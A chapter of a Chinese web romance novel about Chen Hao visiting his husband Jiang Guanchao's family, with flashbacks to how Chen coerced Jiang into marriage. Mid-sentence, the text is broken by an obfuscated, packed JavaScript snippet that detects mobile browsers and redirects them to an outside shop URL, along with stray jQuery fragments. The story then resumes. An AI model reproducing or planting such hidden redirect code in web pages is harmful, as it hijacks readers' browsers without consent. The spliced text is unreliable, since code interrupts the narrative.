8.喜恶

作品:《改造渣攻的一百种方法

    江家位于市中心一座闹中取静的别墅区,四周绿树环绕,显得格外清幽。车子缓缓驶入小区,陈皓望着窗外的景色,事到临头,还是难免有些紧张。


    这紧张不止因为这是他第一次正式以江观潮丈夫的身份登门拜访,更是因为他心里清楚,江观潮那个前未婚夫,很受江家人、尤其是江母的喜欢。


    陈皓这辈子要风得风要雨得雨,集万千宠爱于一身,一辈子都被圈在温室里仔细养护着,受过最大的苦不过是江观潮的冷眼和无视。被宠坏了的小少爷,自然而然希望自己能得到重视对象的喜爱,比如江观潮,比如江观潮的亲人。


    如今这份喜爱已先给过另一个人,便如同一根刺,深深扎在陈皓的心底,令他不可自控地希望将那人给比下去。


    条件允许的话,陈皓并不介意装一回柔柔弱弱的乖学生,但他早在当年“强嫁”江观潮的时候,就已经把江家人上上下下全给得罪完了,这会儿再装,实在是没任何意义。


    他心中左思右想,越发不安,低下头,开始玩江观潮的手指。玩了一会儿,侧头一看,却见江观潮正看着手机屏幕,不知正在回谁的消息。


    陈皓还没开口,江观潮便似有所觉,点了发送键:“在和秘书确认明天的工作安排。”


    “……哦。”被主动报备的感觉真不错。陈皓忍不住勾了勾唇角,把脑袋靠在男人肩上:“你父母会不会不喜欢我啊。”


    江观潮看了他一眼:“为什么这么问?”


    “因为……就以前那些事儿呗。”陈皓当年去江家堵人,为了逼迫江观潮就范,拿出的态度极其嚣张且不礼貌,造成的恶感自然也是成倍的,看这三年来江家人没一次出席过他家的私人宴会就知道了。


    江观潮道:“不会。他们都为你补办生日宴了。”


    “要是他们只是看你的面子上,勉强才给我补办的呢?”


    “那又怎么样?”江观潮的语气没有任何改变,似乎觉得这个问题完全无关紧要:“你是和我结婚了,不是和我家里人结婚了。”


    陈皓怔了怔。他到现在,仍然觉得江观潮态度转变得实在太突然,虽然被保护得很好,但陈皓并不是个完全的蠢货,心中对此自有一番猜测。


    父母那边给江家施压了,直到自己生日愿望的大哥威胁江观潮了,江家出了什么资金链上的问题,江家弟弟妹妹出了事儿需要陈家的势力帮忙压着……


    反正不可能是突然开窍了,喜欢上自己了。


    但他想出来的那些答案,又似乎哪个都不太对。昨晚的江观潮实在太过热情,今天的江观潮又这么温柔,怎么都不像是被逼迫威胁出来的结果。


    他试探道:“所以,就算你家里人全都讨厌我,你也不会讨厌我?”


    江观潮道:“别人的想法与我无关。”


    却不想小少爷立马抓住了他话里的缝隙,凑上来,笑道:“所以你不讨厌我,对不对?”


    --


    江观潮讨不讨厌陈皓,这曾经是个不需要思考,就能立马给出答案的问题。


    讨厌,并且是非常讨厌。理性又冷漠的江观潮,怎么可能不讨厌这个聒噪自我的、充满了不确定性的存在。


    江观潮刚出生那会儿,江父江母的事业还在起步期。每天忙得脚不沾地,家里也没什么钱请专门的保姆,小江观潮今天在这个托儿所,明天在那个朋友家,上学后还因为父母工作变动,几个月一转学。等公司终于稳定下来,他的脾气性格也早已成型。


    同样是江家的孩子,后出生的江云帆和江娴无忧无虑、性格开朗,江观潮却冷漠早熟,哪怕对着亲人,也始终客气疏离。江父江母对此一直十分愧疚,清楚自己亏欠了这个儿子,却不知道该怎么去弥补。


    江观潮实在太懂事,也太聪明了。学习上不用操心,课余时间也有自己的规划,竞赛、奖项、义务活动,一样一样都安排得明明白白。等长大了些,用不着江父开口,他便自发开始学习起公司管理相关的知识,同龄人还凑在一起打台球玩赛车,他已经在长辈的酒会上学着敬酒应酬。


    某个酒局后,江母曾握着他的手,问他累不累。


    江观潮说,不累。


    那种不累,不是说他不疲惫,而是他心中根本没有累这个概念。对于江观潮而言,他习惯了独自处理一切,童年父爱母爱的缺失,让他早早学会了不去依赖他人,也不会向任何人倾诉自己的脆弱。


    即便对象是父母,也同样如此。


    他利用学习来的知识,为自己规划出了一条最好的路,沿着这条路,他就能按照父母的期望,考入名校,不断积攒经验,成为公司的继承着,继而撑起整个江家。


    江母要他和朋友家的样子结婚时,江观潮想也没想就同意了。


    结婚这件事,同样在他的规划里。他不觉得自己会喜欢上谁,会对谁抱有特殊的情感,母亲既然有希望他与之结婚的对象,那他答应就是。


    和谁结不是结呢?就像一个必要完成的任务,只要能打上代表完成的勾,江观潮一点儿都不在乎睡在自己身边的那个人,究竟是谁。


    可陈皓出现了。


    被宠坏了的小少爷如同一道小旋风,不容阻拦地闯进了他的生活,将他那套严明的规则、将他所有的规划,全都搅得天翻地覆,再无法恢复原状。


    江观潮不是没有过热情似火的追求者,订婚以前,涌在他身边的狂蜂浪蝶数不胜数,但那些人被他拒绝无视几次,就会老老实实离开,再坚持一点儿的,江观潮眉头一皱,发几句话,也都会被吓跑。


    陈皓却是个不折不扣的异类,骂不跑赶不走,冷漠无视统统没有意义。第一次见面,陈皓索要江观潮的联系方式无果,却不怒反笑,抬着下巴抱着手臂,笑吟吟地告诉他:“我想要的东西,从没有得不到的。”


    被称为“东西”的江观潮,只觉得这人脑子有病,转头就将其忘在脑后。


    却不想“相遇”还有第二次、第三次……第无数次。


    陈皓拿江父江母的公司威胁江观潮就范的那天,江观潮头回失态了,他的怒火烦躁积攒到了极点,一把揪住了小少爷的衣服领子,将人抵在墙上,骂他,质问他恶不恶心。


    陈皓笑嘻嘻地说:“有什么恶心的,我就是喜欢你,只要能得到你,我什么事儿都做得出来。”


    江观潮冷冷道:“我这辈子都不可能喜欢上你。”


    “那可不一定,只要你一直在我身边,日久天长的,万一呢?”陈皓懒洋洋道:“别挣扎啦,为了你们家好,赶紧和你那个未婚夫解除婚约,和我在一起吧。”


    江观潮烦不胜烦,却不得不承认,陈皓是对的。陈家与江家而言,就像是拧不过的大腿,再怎么挣扎,在小少爷的坚持下,也只能认命。


    他解除了婚约,牵着陈皓的手,走进了婚礼的殿堂,在无


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16900212|191245||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    数宾客的祝福中,强忍反感与不耐,吻住了陈皓的唇。


    那时,江观潮想,他这辈子都不会喜欢上陈皓。


    他以为小少爷之所以和自己结婚,不过是因为一时冲动,等新鲜感过了,自然而然就会离开自己。


    但几年过去,陈皓对他的热情和态度,仍如他们初见那般鲜活。三年来,无数次冷眼,无数次远离,现在只是稍微放软态度,陈皓就立马黏上来,仿佛过去那些冷待从未有过。


    他似乎也知道他不喜欢他,便只是眼巴巴地问,是不是“不讨厌他”。


    而江观潮重活一世,于是原以为不可能改变的答案也有了不同。


    “……不讨厌。”江观潮说。


    “真的?”陈皓捏他的手:“那我下次去公司找你,不准再装不在了。”


    江观潮道:“等回去了,我把专用电梯的副卡给你一张。”


    陈皓打蛇顺杆爬:“那你办公室的钥匙也得给我。”


    “可以。”


    陈皓“嘿嘿”笑了一声,一扬眉毛:“你看,江观潮,我就说吧。”


    江观潮瞥他:“说什么?”


    “只要你一直在我身边,总会喜欢上我的。”陈皓戳了戳他的肩膀:“你看,现在你已经不讨厌我了,再过几年……哼哼。”


    江观潮看了他一会儿,移开视线。


    陈皓曾说过,江观潮是他的初恋,在此之前,没有遇见过喜欢的人,更没有谈过恋爱。


    在他心里,江观潮填满了“爱情”那部分的全部空白。


    陈皓家里有钱长得漂亮,没事儿就和圈子里那群狐朋狗友们混在一起出入各种声色场所,又胆子大得很,什么都敢玩,因此江观潮从没有把这句“初恋”放在心上过。


    但现在看来,小少爷在感情方面确实是白纸一张。否则自己做了那么多,傻瓜都该明白,他对他,早就不只是“不讨厌”而已了。


    --


    时值傍晚,晚霞温柔地染红了天空的每一寸角落。黑色的商务SUV穿过一段树林茂盛的小路,便停在了江家的别墅门前,这里周围没有邻居,隐私性极好,环境也十分清幽雅静。


    车子刚停稳,江观潮就看见大门被打开,江父江母一同走出来,他们身后,江云帆手里捧着蛋糕,江娴手里拿着相机,俨然已做足了准备。


    陈皓本以为这场补办的生日宴,就是江观潮所说的那样,一起吃个饭,说两句客气话。结果竟然是全家齐上阵,不由得呆了一下。


    江观潮看家里四个人满脸好奇地往这边望,就知道江云帆那小子肯定在转述过程中添油加醋了许多。他解了安全带,打开车门,下车,却没有走开,而是扶着车门,朝陈皓伸出手:“来。”


    陈皓回神,赶紧手忙脚乱地解了安全带,拉住江观潮的手,小声道:“我自己可以的。”


    江观潮道:“我知道。”


    陈皓愣了一下,才反应过来,脸上绽开笑容:“哦,我懂了。江观潮,你是想通过对我好一点儿,让你家里人知道你的态度,也好好对待我,是不是?”


    江观潮看着小少爷灿烂且充满得色的笑容,突然收回手,朝别墅大门走去。


    陈皓立马上前几步,挽住了他的胳膊:“别害羞嘛,以后这话我只自己在心里想,好嘛?……江观潮,你走慢点儿,我跟不上。”


    江观潮没有说话,步子却真的放慢了几分。